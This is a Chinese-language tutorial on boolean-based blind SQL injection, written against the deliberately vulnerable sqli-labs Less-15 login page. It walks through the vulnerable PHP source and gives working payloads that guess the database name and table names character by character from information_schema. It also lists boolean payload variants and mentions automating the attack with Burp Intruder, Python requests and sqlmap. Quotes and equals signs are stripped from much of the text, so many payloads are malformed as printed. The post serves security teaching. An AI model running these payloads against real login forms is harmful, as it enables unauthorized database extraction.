
前言在SQL注入讲解的前期我们先使用最经典的sqli-lab靶场进行分析一、源码分析Less-15 的注入点与闭合点1. 页面功能与请求链路后端接收参数uname、passwd后直接拼接 SQL。成功时不输出用户名和密码。显示../images/flag.jpg。失败时不输出 MySQL 错误。显示../images/slap.jpg。2. 关键源码解读核心代码要点$uname、$passwd直接进入 SQL没有mysql_real_escape_string没有 PDO 预处理。$sql抑制错误error_reporting(0)关闭错误显示print_r(mysql_error())被注释因此不能做报错注入。成功与失败只通过图片区分这是典型布尔盲注环境。3. 测试思路从现在开始往下都默认已经确定用户1在数据库中没有记录输入uname1 or 11#SQL 变成WHEREusername1or11# and password LIMIT 0,1条件为真成功。输入uname1 or 12#SQL 变成WHEREusername1or12# and password LIMIT 0,1条件为假失败。看完这些payload有人可能会觉得很奇怪这不是个登录功能吗为什么用户名输入1不存在的用户后面再用or接一个恒真条件就能登录成功了究竟登录了哪个账号实际上是这样的登录的本质是SQL语句在执行查询条件执行过程中会拿数据库对应查询位置的所有数据对这条SQL进行匹配如果匹配后结果为真再对查询到的数据内容进行操作。对于WHERE username‘1’ or 11#这条SQL数据库会取列username中所有的数值进行匹配结果就是条件username1’全为假但是由于我们用or接了一个恒真条件11这就导致了username‘1’ or 11这条语句无论匹配什么内容都会为真。有趣的事情发生了SELECT查询出来是一整个表都能匹配别忘了注释刚好把limit限制给ban掉但受到函数mysql_fetch_array的影响取出的数据只能是第一行最后登录的账号便是第一行这个幸运儿了。这样我们就判断出登录语句是可控的且状态能由我们构建闭合去控制。在真实的测试中大家不用这么死板在判断出存在注入点的情况下随意构造真和假的条件即可比如你完全可以登录一个已知账号再随便输入一个不大可能存在的账号对比这两种情况是否有不同回显。4. 布尔盲注的判定与利用流程布尔盲注核心流程确认页面存在 True / False 差异。猜解目标信息长度。逐字符猜解内容。payload下面的操作使用了BP的爆破功能爆破数据因设置不同而异但结果相同注意看过滤条件猜数据库长度uname1orlength(database())8#猜数据库名uname1 or substr(database(),1,1)s#在文章0x0005我们已经提及单引号在实战中会受诸如转义、WAF、过滤之类的影响所以这里使用单引号引用字母s我们可以换为其他表达方式比如ASCII码uname1orascii(substr(database(),1,1))115#通过ASCII表将结果翻译为数据库名security同时这种编码方式也让二分法的适用范围不再局限于判断长度uname1orascii(substr(database(),1,1))123#猜所有表名长度uname1orlength((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1))6#猜所有表名uname1orascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))101#通过ASCII表将结果翻译为表名emails、referers、uagents、users剩下的操作大家以此类推即可注意MySQL 字符串比较默认可能不区分大小写建议用binary或ascii。5. 源码缺陷总结错误被抑制但布尔状态仍泄露信息。成功/失败图片形成稳定 True / False 信号。没有验证码、速率限制、失败次数限制。二、其他布尔盲注手法从 Less-15 扩展到通用场景1. 布尔盲注的本质布尔盲注的本质先闭合原 SQL 上下文再插入一个条件表达式让页面根据条件真假返回不同状态。原 SQLWHEREusername$unameandpassword$passwd输入1 or [条件]#变成WHEREusername1or[条件]# and password LIMIT 0,1如果[条件]为真返回行页面 True为假页面 False。2. 常见布尔构造矩阵构造方式payload 片段说明OR1 or 11#最基础AND1 and 11#需要前面条件也为真XOR1 xor 11#异或逻辑LIKE1 or database() like s%#模糊匹配REGEXP1 or database() regexp ^s#正则匹配BETWEEN1 or ascii(substr(database(),1,1)) between 100 and 120#范围IN1 or substr(database(),1,1) in (s,S)#列表IF1 or if(length(database())8,1,0)#条件函数CASE1 or case when length(database())8 then 1 else 0 end#条件表达式3. 常用函数与逐字符猜解MySQL 布尔盲注常用函数长度length()、char_length()。截取substr()、substring()、mid()、left()、right()。编码ascii()、ord()、hex()、unhex()、bin()。聚合count()、group_concat()。逐字符猜解模板ascii(substr((select目标from表where条件limit0,1),位置,1))ASCII值4. 自动化思路Pythonrequests二分法猜字符。判断响应中是否包含flag.jpg。Burp Intruder对 payload 中的字符位置做爆破。根据响应长度或图片名筛选。sqlmap可自动识别布尔盲注。5. 与 sqli-labs 其他关卡映射分析Less-6、Less-8、Less-16源码尝试使用布尔盲注获取所有用户信息。三、现代网站应用场景布尔盲注还存在吗1. 现代开发变化统一错误提示不返回 SQL 错误。WAF、限速、验证码、日志监控。2. 预编译覆盖不到的地方、ORM / 框架误用这点和文章0x0002闭合手法的情况类似不多赘述。3. 其他GraphQL参数若进入动态 SQL也可能触发。NoSQL布尔盲注思路可类比但语法不同。后记虽然到现在为止我们一直使用username这个注入点实际上password也是可以使用的大家要把思路放宽。但是需要注意无论你使用哪个注入点都要尽量保证运行正常业务时所需要的数据都有提交因为后端有可能会检测提交数据是否为空要记住只有先确保正常业务能够运行才能提高注入的成功率。希望各位业内的老师傅能纠正文章的错误非商业用途仅供交流学习禁止转载